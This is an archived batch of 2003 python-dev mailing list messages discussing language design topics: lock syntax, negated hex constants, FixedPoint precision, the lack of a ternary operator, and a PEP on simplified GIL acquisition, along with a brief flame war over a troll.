Why did Fredrik leave the party? In-Reply-To: <200302051448.h15EmL428173@odiug.zope.com> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> Message-ID: <20030205184351.GA17468@thyrsus.com> Guido van Rossum : > synchronized(lock): > BLOCK > > instead of > > lock.aqcuire() > try: > BLOCK > finally: > lock.release() > > I assure you that this makes programs that use locks more readable, > which reduces maintenance costs down the road. But at the same time > we can't hope to reduce every idiom to a single statement, and we must > be careful not to destroy the language by adding too many "neat > tricks". I'm going to have to come out against this idea. I think it violates "explicit is better than implicit", and is perilously close to being mere syntactic sugar. -- Eric S. Raymond From paul@prescod.net Wed Feb 5 19:07:16 2003 From: paul@prescod.net (Paul Prescod) Date: Wed, 05 Feb 2003 11:07:16 -0800 Subject: [Python-Dev] How to troll python-dev Message-ID: <3E4160E4.80503@prescod.net> I wrote this because I wanted to judge for myself based on the record whether the problem is that Python's "bigwigs" do not "take constructive criticism well." ==== http://mail.python.org/pipermail/python-dev/2003-January/032519.html First, ask a question appropriate to python-list on python-dev. On python-list, there are hundreds of smart people who have discussed this question hundreds of times. They hang out there precisely because they want to discuss Python and are usually happy to shoot the shit. Python-dev, on the other hand, is where work takes place (when everyone is not distracted by trolls). Guido and the other core python developers are unlikely to have anything new to contribute on the issue. Whatever thoughts they have are surely shared knowledge by now. There are a hundred people on python-list who could have told you what each post in this thread would look like (with the exception of those by the new troll). Second, don't read the FAQ, or pretend not to have read the FAQ. Don't phrase your question in terms of a clarification of the FAQ. Rather, act like you are too stupid and lazy to have bothered with the FAQ. Why read the FAQ when you can just ask a bunch of busy developers? Third, demonstrate your weak understanding of the problem space by comparing Python to a statically typed language like O'Caml rather than a dynamically typed one like Self. http://mail.python.org/pipermail/python-dev/2003-January/032556.html Fourth, act like you have perfect knowledge of the history of Python: "Really? It surprises me that after 10 years, this isn't something that has been given more priority. Is the problem simply too difficult?" The troll has no idea what priority it has been given. If he did, he would know that various smart people have thrown themselves at the problem repeatedly and only ever achieved partial results. This is higher priority than most other features get. http://mail.python.org/pipermail/python-dev/2003-January/032556.html Fifth, _insult_ Python on the Python list by saying: "It would be nice to use Python for more serious projects, but it isn't fast enough currently." This implies that most people using Python are not using it for "serious" projects, the popularity of (e.g.) MailMan and Zope notwithstanding. http://mail.python.org/pipermail/python-dev/2003-January/032562.html Then insult our understanding of the problem, (in a response to Guido, no less): "I think it's clear noone really knows why this hasn't been done yet." Next state a truism as if it were a deep, hidden trught: "However, head-way (Psycho) has been made in a very short period of time, so it hardly seems impossible given enough time and effort." Nobody ever said that it was impossible given enough time and effort. They said that there was nobody with enough time willing to put in enough effort. Now the flamewar is starting to heat up. Paint yourself as the victim. "What, so I can't inquire about or request a potential feature unless I can implement it myself? Please." Refusing to accept responsibility is the key to enflaming everyone else. "Look, it's obvious that I've hit a nerve here, but that wasn't my intention." http://mail.python.org/pipermail/python-dev/2003-January/032582.html Next, retreat enough to look reasonable. http://mail.python.org/pipermail/python-dev/2003-January/032563.html Pretend to accept some responsibility, but insult Python again at the same time. http://mail.python.org/pipermail/python-dev/2003-January/032577.html Rather than leaving when you are asked to, shift blame to the trollees. "Has anyone ever told you guys that you don't handle constructive criticism well? And Guido, the problem with having a crummy attitude like this is that it tends to infect those around you tainting the whole project." Look Graham: go to linux-kernel and tell the people there that Linux is not ready for "serious" work because it isn't a microkernel and see what happens. Paul Prescod From guido@python.org Thu Feb 6 01:48:33 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 20:48:33 -0500 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) In-Reply-To: "Your message of Thu, 06 Feb 2003 11:42:20 +1100." <338366A6D2E2CA4C9DAEAE652E12A1DE19657F@au3010avexu1.global.avaya.com> References: <338366A6D2E2CA4C9DAEAE652E12A1DE19657F@au3010avexu1.global.avaya.com> Message-ID: <200302060148.h161mXD25238@pcp02138704pcs.reston01.va.comcast.net> > > >>> -(0xffffffff) > > 1 > > >>> -0xffffffff > > -4294967295L <<<<-------- !!! > > >>> > > This is my main concern - that there is an inconsistency between > -(0xffffffff) and -0xffffffff. Mine too. :-) > I think whatever is decided, this inconsistency should be fixed for > 2.3 (and possibly back-ported to 2.2). > > So we end up with either > > 0xffffffff == -1 > -0xffffffff == 1 > > or > > 0xffffffff == 4294967295L > -0xffffffff == -4294967295L > > and 0xffffffff is going to stay as -1 until 2.4 ... We can't do the latter; 0xffffffff was always -1, and changing it without at least giving a warning for one release is too abrupt. The problem with fixing it in 2.3 so that -0xffffffff is 1, is that it keeps changing between releases: up through 2.1 it was 1, in 2.2 it was -4294967295L, in 2.3 it would be 1 again, and in 2.4 it would be -4294967295L again!!! The only saving grace is that few people ever use such hex constants with a minus sign in front of them. But even then, I'm not sure of the back-and-forth is worth it. And while you can say, "so fix it in 2.2.3 too", that doesn't mean that everybody will upgrade. --Guido van Rossum (home page: http://www.python.org/~guido/) From tim_one@email.msn.com Thu Feb 6 02:35:36 2003 From: tim_one@email.msn.com (Tim Peters) Date: Wed, 5 Feb 2003 21:35:36 -0500 Subject: [Python-Dev] RE: FixedPoint and % specifiers. In-Reply-To: Message-ID: [David LeBlanc] > Well sheesh, I guess this just points to how long it's been since > I've done any serious C/C++ involving format specifiers. %f does what > I expect given a string initializer of a FixedPoint. Then you haven't tried enough examples yet (one of my last two msgs showed a surprising result from "%.17f" % FixedPoint("0.1")). > It's confusing to think of FixedPoints as really being Floats though. They aren't floats, but they participate in Python's numeric protocols, and "silently coerce when in a float context" is one I don't personally like but is generally expected. FixedPoint plays along with it, although in a perverse way (it usually coerces the float to a FixedPoint instead of vice versa, since that's probably less surprising more often). > If FixedPoint is going to be oriented towards business app programmers > and/or edu-kids, isn't the need to pass a string a bit counter intuitive? Yes, but, as before, inputs to FixedPoint constructors are unlikely to be literals. In business apps, they're likely to be sucked out of databases, most of which support a native decimal type of their own. In that context there's no cause for any loss of information. > Has the parser hacked the arg into a float by the time the __init__ > sees it? (I suppose, come to think of it, that's an obvious "yes".) Two points! That's right. > I suggest that DEFAULT_PRECISION should be 4. From the dim recesses of > my pre-history, I seem to recall that the money programmers liked that - > they _saved_ the round-offs into what was called a "penny register" and > accumulated them. When you're dealing with millions, a drip here > and a drop there and pretty soon, if you're dishonest, you can add a > check to the check processing run for some serious pocket change (this > actually happened) ;) This module has been in use for a few years already. If the people who actually used it suggested this, I'd be happy to oblige. But this is the first time it's been suggested, and by someone who hasn't used it "for real", so I'm inclined to let it go at that. > Ok, so FixedPoint is really just a subterfuge for floats? No. Read the docs and play more with the module. For example, FixedPoint + and - are always exact. Float + and - are not. > Seems less than useful to our money and edu-kid users? (I think I'm > hinting here that FixedPoint should be a distinct type if it's really > going to have the semantics the intended audience expects. That probably > kills it for 2.3 I guess.) FixedPoint is already a distinct type, but if you mix one with a float, you're going to get surprised. The surprise will come from the float part, though, not from the FixedPoint part. Don't mix FixedPoints with floats, or use them in float contexts, and you won't get surprises. > ... > Agreed - internally, a FixedPoint should retain all it's digits and only > have any idea of precision at display time IMO. I don't know what this means, or do but assure you it can't be implemented. For example, the mathematical result of FixedPoint(1)/7 doesn't have a finite decimal representation -- "all its digits" is unbounded. As implemented, the result inherits its precision from the FixedPoint operand, which can be as large as you like, but must be specified in advance. >>> print FixedPoint(1, 70)/7 0.1428571428571428571428571428571428571428571428571428571428571428571429 >>> Try that with floats and see what you get . From tim_one@email.msn.com Thu Feb 6 02:44:56 2003 From: tim_one@email.msn.com (Tim Peters) Date: Wed, 5 Feb 2003 21:44:56 -0500 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) In-Reply-To: <200302051905.h15J51C29854@odiug.zope.com> Message-ID: [Guido] > ... > The cases that bother me are -0xffffffff in Python 2.2 and 2.3: this > is an unintended side effect of a peephole optimization!!! > > It's quite unsettling: > > >>> x = 0xffffffff > >>> x > -1 > >>> -x > 1 > >>> -(0xffffffff) > 1 > >>> -0xffffffff > -4294967295L <<<<-------- !!! > >>> > ... > --- CONCLUSION --- > > The bad thing is that this bug is already in all versions of Python > 2.2, as well as in Python 2.3a1. > > I originally thought that it absolutely had to be fixed, because the > inconsistency between -(0xffffffff) and -0xffffffff is just too bad to > bear. Ya, but is it a security hole . > On the other hand, given that it's already this way in Python 2.2, and > will be again in Python 2.4, maybe we should leave it this way? I > find it almost cute that you can spell negative constants with an > explicit minus sign. (It's even correct in the sense that it doesn't > issue a warning!) > > Opinions? Am I crazy? It seems too late to use the time machine -- > OTOH I could claim that this is *already* caused by time machine usage > from the Python 2.4 era. The Windows installer can scour the disk for previously installed Pythons, and install one of two versions of python23.dll, depending on which broken behavior the user is accustomed to. If there are no installed versions of Python, it will pick the 2.4-compatible DLL, to minimize future pain (or you can think of it as the 2.2.2-compatible DLL, to minimize past pain). If there are incompatible versions of Python already installed, it will pop up a dialog box asking the user which to install by default. The other DLL will be installed under a different name, and main() and WinMain() will be fiddled to use that DLL instead if envar PYTHONMINUSOHX exists and has value OTHER, ALTERNATEPYTHONMINUSOHXBEHAVIORPLEASE, or 1. Short of that, I vote we keep 2.3 compatible with 2.2 and 2.4. If anyone ever reports this bug in 2.2 or 2.3, I'll feign genuine surprise, and explain it was due to a time-machine backport of 2.4, which can be fixed over the short term by upgrading to Python 1.6.1. Note that there's another case: >>> -037777777777 -4294967295L >>> -(037777777777) 1 >>> OTOH, even in 2.1.3, int() didn't agree about what these kinds of int literals mean: >>> int("ffffffff", 16) Traceback (most recent call last): File "", line 1, in ? ValueError: int() literal too large: ffffffff >>> On the third hand, still in 2.1.3, >>> int("0xffffffff", 0) -1 >>> Going back to 2.3 on the fourth hand gives another surprising pair: >>> int("ffffffff", 16) 4294967295L >>> int("0xffffffff", 0) -1 >>> A rational user will conclude that Python has no idea what hex literals mean <0.9 wink>. From tim_one@email.msn.com Thu Feb 6 02:56:51 2003 From: tim_one@email.msn.com (Tim Peters) Date: Wed, 5 Feb 2003 21:56:51 -0500 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) In-Reply-To: Message-ID: Ooh! We can't blame this one on the peephole opt, right? In current CVS: >>> -int("0xffffffff", 0) # and this does not generate a wng 1 >>> int("-0xffffffff", 0) -4294967295L >>> As in the tail end of the last msg, the base specifier makes a big difference here too: >>> -int("ffffffff", 16) -4294967295L >>> int("-ffffffff", 16) -4294967295L >>> From blunck@gst.com Thu Feb 6 04:30:26 2003 From: blunck@gst.com (Christopher Blunck) Date: Wed, 5 Feb 2003 23:30:26 -0500 Subject: [Python-Dev] Trinary Operators Message-ID: <20030206043026.GA29482@homer.gst.com> I have a brief and quick question- What was the reasoning for not supporting trinary operators in py? One of the great things I love about py is how much bang for your buck you get per line of code. I can do much more in 10 lines of py than I can do in Java. Being able to do something like this would really help me: bigger = a > b ? a : b My workaround is to: def if_else(test, a, b): if test: return a else: return b bigger = if_else(a > b, a, b) I assume this was discussed (at some point). Was it just determined to be "syntactic sugar" or was there some higher reason? -c -- 11:25pm up 107 days, 15:00, 3 users, load average: 7.67, 6.54, 6.20 From graham_guttocks@yahoo.co.nz Thu Feb 6 04:35:51 2003 From: graham_guttocks@yahoo.co.nz (=?iso-8859-1?q?Graham=20Guttocks?=) Date: Thu, 6 Feb 2003 17:35:51 +1300 (NZDT) Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <3E4160E4.80503@prescod.net> Message-ID: <20030206043551.55262.qmail@web10305.mail.yahoo.com> Paul Prescod wrote: > > I wrote this because I wanted to judge for myself based on the record > whether the problem is that Python's "bigwigs" do not "take > constructive criticism well." Wow, what a treatise Paul. You sure have allot of free time on your hands mate. Is there any end to the number of Internet arseholes out there? ===== Regards, Graham http://greetings.yahoo.com.au - Yahoo! Greetings - Send some online love this Valentine's Day. From marklists@mceahern.com Thu Feb 6 04:48:32 2003 From: marklists@mceahern.com (Mark McEahern) Date: Wed, 5 Feb 2003 22:48:32 -0600 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <20030206043551.55262.qmail@web10305.mail.yahoo.com> Message-ID: [Graham Guttocks] > Wow, what a treatise Paul. You sure have allot of free time on > your hands mate. > > Is there any end to the number of Internet arseholes out there? [I only occasionally lurk on this list and I don't plan to reply any more to this thread. I apologize in advance for contributing to this diversion. May you all step back from it and let it pass. As it surely will.] Graham, I understand that you're probably feeling attacked. That probably makes it only all the more likely that you'll continue to respond in the same way. That's unfortunate. Perhaps you can demonstrate your character by taking the initiative and resolving this situation amicably? Cheers, // m - From tdelaney@avaya.com Thu Feb 6 04:50:58 2003 From: tdelaney@avaya.com (Delaney, Timothy C (Timothy)) Date: Thu, 6 Feb 2003 15:50:58 +1100 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE1965C4@au3010avexu1.global.avaya.com> > From: Tim Peters [mailto:tim_one@email.msn.com] >=20 > Ooh! We can't blame this one on the peephole opt, right? In=20 > current CVS: >=20 > >>> -int("0xffffffff", 0) # and this does not generate a wng > 1 > >>> int("-0xffffffff", 0) > -4294967295L > >>> >=20 > As in the tail end of the last msg, the base specifier makes a big > difference here too: >=20 > >>> -int("ffffffff", 16) > -4294967295L > >>> int("-ffffffff", 16) > -4294967295L > >>> Given all this, I'm +1 on leaving it as it is, and +1 on making it all = consistent for 2.4 ... Tim Delaney From mhammond@skippinet.com.au Thu Feb 6 04:54:21 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Thu, 6 Feb 2003 15:54:21 +1100 Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock acquisition for extensions In-Reply-To: <200302051712.h15HCK128945@odiug.zope.com> Message-ID: <009201c2cd9b$d08d47a0$530f8490@eden> > Good PEP, Mark. I support solving this problem once and for all. Excellent. > One question: you claim that some implementation of TLS (Thread Local > Storage) is required to implement this API, but you don't give enough > implementation details to explain this requirement. > > I wonder if instead of relying on TLS, you could return a void* > pointer from PyAutoThreadState_Ensure() which must be passed back into > PyAutoThreadState_Release()? Or is TLS used for something else too? OK, I will re-work that portion. I just came up with the following justification: A platform TLS implementation is required to correctly support PyThreadState semantics. It is assumed that it is an error if two discrete PyThreadStates are used for a single thread. Comments in pystate.h ("State unique per thread") support this view, although it is never directly stated. Thus, this implementation will require some abstraction to allow at least per-thread storage of a simple pointer to a thread's existing PyThreadState. > (I'm not a big fan of TLS, mostly because its API is different for > each native thread package; requiring it would make the burden of > providing the PyAutoThreadState API bigger.) In the thread that started this discussion, it was noted that nobody needs to support "screw-ball", or even old, platforms. All complicated extensions that require PyAutoThreadState only run on "major" platforms. Everybody seemed happy if only Windows, Mac and pthreads were supported. Anyway, I do not propose that a platform provide a *complete* TLS implementation - all I need is a way to get a per-thread pointer. I expect that if we keep the bar that low, most platforms with a TLS API of any description should be able to provide this facility without too much pain. I'll post a new PEP up with comments I have recieved, as well as a clarification on the TLS, shortly. Mark. From python@rcn.com Thu Feb 6 05:31:03 2003 From: python@rcn.com (Raymond Hettinger) Date: Thu, 6 Feb 2003 00:31:03 -0500 Subject: [Python-Dev] RE: FixedPoint and % specifiers. References: Message-ID: <003f01c2cda0$f11a76a0$125ffea9@oemcomputer> Let's continue all of this in a private discussion. If Tim had time to answer these emails, then it would already be done; the problem is 95% solved and it won't take rocket science to cover the last 5%. Raymond ----- Original Message ----- From: "Tim Peters" To: "David LeBlanc" Cc: Sent: Wednesday, February 05, 2003 9:35 PM Subject: RE: [Python-Dev] RE: FixedPoint and % specifiers. > [David LeBlanc] > > Well sheesh, I guess this just points to how long it's been since > > I've done any serious C/C++ involving format specifiers. %f does what > > I expect given a string initializer of a FixedPoint. > > Then you haven't tried enough examples yet (one of my last two msgs showed a > surprising result from "%.17f" % FixedPoint("0.1")). > > > It's confusing to think of FixedPoints as really being Floats though. > > They aren't floats, but they participate in Python's numeric protocols, and > "silently coerce when in a float context" is one I don't personally like but > is generally expected. FixedPoint plays along with it, although in a > perverse way (it usually coerces the float to a FixedPoint instead of vice > versa, since that's probably less surprising more often). > > > If FixedPoint is going to be oriented towards business app programmers > > and/or edu-kids, isn't the need to pass a string a bit counter intuitive? > > Yes, but, as before, inputs to FixedPoint constructors are unlikely to be > literals. In business apps, they're likely to be sucked out of databases, > most of which support a native decimal type of their own. In that context > there's no cause for any loss of information. > > > Has the parser hacked the arg into a float by the time the __init__ > > sees it? (I suppose, come to think of it, that's an obvious "yes".) > > Two points! That's right. > > > I suggest that DEFAULT_PRECISION should be 4. From the dim recesses of > > my pre-history, I seem to recall that the money programmers liked that - > > they _saved_ the round-offs into what was called a "penny register" and > > accumulated them. When you're dealing with millions, a drip here > > and a drop there and pretty soon, if you're dishonest, you can add a > > check to the check processing run for some serious pocket change (this > > actually happened) ;) > > This module has been in use for a few years already. If the people who > actually used it suggested this, I'd be happy to oblige. But this is the > first time it's been suggested, and by someone who hasn't used it "for > real", so I'm inclined to let it go at that. > > > Ok, so FixedPoint is really just a subterfuge for floats? > > No. Read the docs and play more with the module. For example, FixedPoint + > and - are always exact. Float + and - are not. > > > Seems less than useful to our money and edu-kid users? (I think I'm > > hinting here that FixedPoint should be a distinct type if it's really > > going to have the semantics the intended audience expects. That probably > > kills it for 2.3 I guess.) > > FixedPoint is already a distinct type, but if you mix one with a float, > you're going to get surprised. The surprise will come from the float part, > though, not from the FixedPoint part. Don't mix FixedPoints with floats, or > use them in float contexts, and you won't get surprises. > > > ... > > Agreed - internally, a FixedPoint should retain all it's digits and only > > have any idea of precision at display time IMO. > > I don't know what this means, or do but assure you it can't be implemented. > For example, the mathematical result of FixedPoint(1)/7 doesn't have a > finite decimal representation -- "all its digits" is unbounded. As > implemented, the result inherits its precision from the FixedPoint operand, > which can be as large as you like, but must be specified in advance. > > >>> print FixedPoint(1, 70)/7 > 0.1428571428571428571428571428571428571428571428571428571428571428571429 > >>> > > Try that with floats and see what you get . > > > _______________________________________________ > Python-Dev mailing list > Python-Dev@python.org > http://mail.python.org/mailman/listinfo/python-dev From aahz@pythoncraft.com Thu Feb 6 06:28:56 2003 From: aahz@pythoncraft.com (Aahz) Date: Thu, 6 Feb 2003 01:28:56 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: <20030206043026.GA29482@homer.gst.com> References: <20030206043026.GA29482@homer.gst.com> Message-ID: <20030206062856.GA7607@panix.com> On Wed, Feb 05, 2003, Christopher Blunck wrote: > > What was the reasoning for not supporting trinary operators in py? Although this is technically on-topic for python-dev, it's such a FAQ that you should take this question to comp.lang.python; we don't have time for it on this list. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ "Argue for your limitations, and sure enough they're yours." --Richard Bach From duncan@rcp.co.uk Thu Feb 6 09:51:18 2003 From: duncan@rcp.co.uk (Duncan Booth) Date: Thu, 6 Feb 2003 09:51:18 +0000 Subject: [Python-Dev] With statement References: <2msmv2onnm.fsf@starship.python.net> <3E414335.7030704@pobox.com> Message-ID: John Williams wrote in news:3E414335.7030704@pobox.com: > Why not combine the "with" and "local" statement ideas? Change the > "with" statement so that there is no __enter__ method, and call __del__ > where there current proposal calls __exit__. If you put in your suggested check for getrefcount, then you can't port this to systems with no refcount (such as Jython) and this use of __del__ conflicts with Jython's use. Also, if you try to reuse __del__ in this way you are introducing another possible place where it can go wrong (if someone has saved a reference to the controlled variable and your assertion fails), whereas with __exit__ you don't have to insist that all other references have gone. Indeed, if the variable is controlling a resource, such as a mutex, you might very well want to maintain a list of all controlled resources. The __exit__ can remove self from whatever data structures refer to it, but you would have to do it manually before letting the __del__ be called. Finally consider: f = file(...) try: DoSomethingWith(f) finally: assert sys.getrefcount(f) == 2 del f # f is guaranteed dead, so f.__del__ is called If 'DoSomethingWith' throws an exception, the reference count for f is not 2 as 'f' is still referred to from the stack backtrace that someone may wish to inspect. -- Duncan Booth duncan@rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From mal@lemburg.com Thu Feb 6 10:48:38 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 06 Feb 2003 11:48:38 +0100 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <20030206043551.55262.qmail@web10305.mail.yahoo.com> References: <20030206043551.55262.qmail@web10305.mail.yahoo.com> Message-ID: <3E423D86.1040600@lemburg.com> Could someone please unsubscribe this guy ? Otherwise, I'll have to teach spambayes to do it for me ;-) Thanks, -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ Graham Guttocks wrote: > Paul Prescod wrote: > >>I wrote this because I wanted to judge for myself based on the record >>whether the problem is that Python's "bigwigs" do not "take >>constructive criticism well." > > > Wow, what a treatise Paul. You sure have allot of free time on > your hands mate. > > Is there any end to the number of Internet arseholes out there? > > ===== > Regards, > Graham > > http://greetings.yahoo.com.au - Yahoo! Greetings > - Send some online love this Valentine's Day. > > _______________________________________________ > Python-Dev mailing list > Python-Dev@python.org > http://mail.python.org/mailman/listinfo/python-dev From mwh@python.net Thu Feb 6 11:33:23 2003 From: mwh@python.net (Michael Hudson) Date: Thu, 06 Feb 2003 11:33:23 +0000 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) In-Reply-To: <200302052136.h15La3W06575@odiug.zope.com> (Guido van Rossum's message of "Wed, 05 Feb 2003 16:36:03 -0500") References: <200302051905.h15J51C29854@odiug.zope.com> <15937.32213.2274.292336@gargle.gargle.HOWL> <200302052136.h15La3W06575@odiug.zope.com> Message-ID: <2m1y2ly77g.fsf@starship.python.net> Guido van Rossum writes: >> >>>>> "GvR" == Guido van Rossum writes: >> >> GvR> The bad thing is that this bug is already in all versions of >> GvR> Python 2.2, as well as in Python 2.3a1. >> >> So how did you find it? Was a bug report or random noodling? Was >> someone actually bit by it? I'm curious but I don't have a >> recommendation since I'd never write something like this (hex >> constants always seem unsigned to me). >> >> -Barry > > I don't recall how I found it -- I think someone mentioned it to me. Theres an -020000000000000000000000000000000000 in test_grammar[1]. Given this thread, I'm rather unclear what it's testing. The compiler module compiles it differently to the builtin compiler. Cheers, M. [1] I may not have got the number of zeros correct :) -- MARVIN: Oh dear, I think you'll find reality's on the blink again. -- The Hitch-Hikers Guide to the Galaxy, Episode 12 From guido@python.org Thu Feb 6 13:42:03 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 08:42:03 -0500 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: "Your message of Thu, 06 Feb 2003 11:48:38 +0100." <3E423D86.1040600@lemburg.com> References: <20030206043551.55262.qmail@web10305.mail.yahoo.com> <3E423D86.1040600@lemburg.com> Message-ID: <200302061342.h16Dg3n26884@pcp02138704pcs.reston01.va.comcast.net> > Could someone please unsubscribe this guy ? Otherwise, I'll have > to teach spambayes to do it for me ;-) We don't unsubscribe people because we don't like them. However, ignoring him cam be very effective. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Thu Feb 6 13:48:01 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 08:48:01 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: "Your message of Thu, 06 Feb 2003 01:28:56 EST." <20030206062856.GA7607@panix.com> References: <20030206043026.GA29482@homer.gst.com> <20030206062856.GA7607@panix.com> Message-ID: <200302061348.h16Dm1E27999@pcp02138704pcs.reston01.va.comcast.net> > > What was the reasoning for not supporting trinary operators in py? > > Although this is technically on-topic for python-dev, it's such a FAQ > that you should take this question to comp.lang.python; we don't have > time for it on this list. FAQ entry 4.16 is on how to spell ?: in Python. Maybe it can be extended with an explanation of *why* it isn't available? --Guido van Rossum (home page: http://www.python.org/~guido/) From Anthony Baxter Thu Feb 6 13:51:18 2003 From: Anthony Baxter (Anthony Baxter) Date: Fri, 07 Feb 2003 00:51:18 +1100 Subject: [Python-Dev] How to troll python-dev In-Reply-To: <3E4160E4.80503@prescod.net> Message-ID: <200302061351.h16DpI503745@localhost.localdomain> Might I suggest something like the following? (adjust to suit your own mail setup) :0: * ^From: Graham Guttocks $ /dev/null Anthony -- Anthony Baxter It's never too late to have a happy childhood. From guido@python.org Thu Feb 6 13:50:38 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 08:50:38 -0500 Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock acquisition for extensions In-Reply-To: "Your message of Thu, 06 Feb 2003 15:54:21 +1100." <009201c2cd9b$d08d47a0$530f8490@eden> References: <009201c2cd9b$d08d47a0$530f8490@eden> Message-ID: <200302061350.h16DodW28328@pcp02138704pcs.reston01.va.comcast.net> > > One question: you claim that some implementation of TLS (Thread Local > > Storage) is required to implement this API, but you don't give enough > > implementation details to explain this requirement. > > > > I wonder if instead of relying on TLS, you could return a void* > > pointer from PyAutoThreadState_Ensure() which must be passed back into > > PyAutoThreadState_Release()? Or is TLS used for something else too? > > OK, I will re-work that portion. I just came up with the following > justification: > > A platform TLS implementation is required to correctly support > PyThreadState semantics. It is assumed that it is an error if > two discrete PyThreadStates are used for a single thread. > Comments in pystate.h ("State unique per thread") support this > view, although it is never directly stated. Thus, this > implementation will require some abstraction to allow at least > per-thread storage of a simple pointer to a thread's existing > PyThreadState. Thanks, that explains it. > > (I'm not a big fan of TLS, mostly because its API is different for > > each native thread package; requiring it would make the burden of > > providing the PyAutoThreadState API bigger.) > > In the thread that started this discussion, it was noted that nobody needs > to support "screw-ball", or even old, platforms. All complicated extensions > that require PyAutoThreadState only run on "major" platforms. Everybody > seemed happy if only Windows, Mac and pthreads were supported. OK. > Anyway, I do not propose that a platform provide a *complete* TLS > implementation - all I need is a way to get a per-thread pointer. I expect > that if we keep the bar that low, most platforms with a TLS API of any > description should be able to provide this facility without too much pain. > > I'll post a new PEP up with comments I have recieved, as well as a > clarification on the TLS, shortly. Great! When can we expect code? :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Thu Feb 6 13:59:21 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 08:59:21 -0500 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) In-Reply-To: "Your message of Thu, 06 Feb 2003 15:50:58 +1100." <338366A6D2E2CA4C9DAEAE652E12A1DE1965C4@au3010avexu1.global.avaya.com> References: <338366A6D2E2CA4C9DAEAE652E12A1DE1965C4@au3010avexu1.global.avaya.com> Message-ID: <200302061359.h16DxLB29501@pcp02138704pcs.reston01.va.comcast.net> > Given all this, I'm +1 on leaving it as it is, and +1 on making it > all consistent for 2.4 ... -(0xffffffff) to that. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From gward@python.net Thu Feb 6 14:06:47 2003 From: gward@python.net (Greg Ward) Date: Thu, 6 Feb 2003 09:06:47 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: <20030206043026.GA29482@homer.gst.com> References: <20030206043026.GA29482@homer.gst.com> Message-ID: <20030206140647.GA1498@cthulhu.gerg.ca> On 05 February 2003, Christopher Blunck said: > One of the great things I love about py is how much bang for your buck you > get per line of code. I can do much more in 10 lines of py than I can do in > Java. Being able to do something like this would really help me: > bigger = a > b ? a : b I won't claim to channel Guido, but C's ?: operator is ugly, obscure, and weird. Just because it has been copied by Java and Perl does not mean it is a good thing. The fact that Python does not ape C is a *feature*. Greg -- Greg Ward http://www.gerg.ca/ If you're not part of the solution, you're part of the precipitate. From barry@python.org Thu Feb 6 14:11:47 2003 From: barry@python.org (Barry A. Warsaw) Date: Thu, 6 Feb 2003 09:11:47 -0500 Subject: Atomic operations (was Re: [Python-Dev] Why did Fredrik leave the party?) References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <20030205184351.GA17468@thyrsus.com> Message-ID: <15938.27939.731673.576239@gargle.gargle.HOWL> >>>>> "ESR" == Eric S Raymond writes: ESR> I'm going to have to come out against this idea. I think it ESR> violates "explicit is better than implicit", and is ESR> perilously close to being mere syntactic sugar. Except that it's not, because of the lack of atomic acquire-and-enter-try. You could probably code this specific example like so: try: lock.acquire() dosomething() finally: try: lock.release() except NotLocked: pass but you still have the problem of ironclad resource release in other situations, such as the cursor opening scenario (I think) I posted before. Brett (I think) suggested that there may be alternatives to a syntactic approach, e.g. one that prohibits thread switching between the resource acquisition and the entering of the try. That might be interesting to explore, but I worry about deadlock possibilities. -Barry From skip@pobox.com Thu Feb 6 16:13:20 2003 From: skip@pobox.com (Skip Montanaro) Date: Thu, 6 Feb 2003 10:13:20 -0600 Subject: [Python-Dev] Trinary Operators In-Reply-To: <20030206140647.GA1498@cthulhu.gerg.ca> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> Message-ID: <15938.35232.35264.336812@montanaro.dyndns.org> Greg> The fact that Python does not ape C is a *feature*. And a good feature at that. ;-) Skip From skip@pobox.com Thu Feb 6 15:39:53 2003 From: skip@pobox.com (Skip Montanaro) Date: Thu, 6 Feb 2003 09:39:53 -0600 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <3E423D86.1040600@lemburg.com> References: 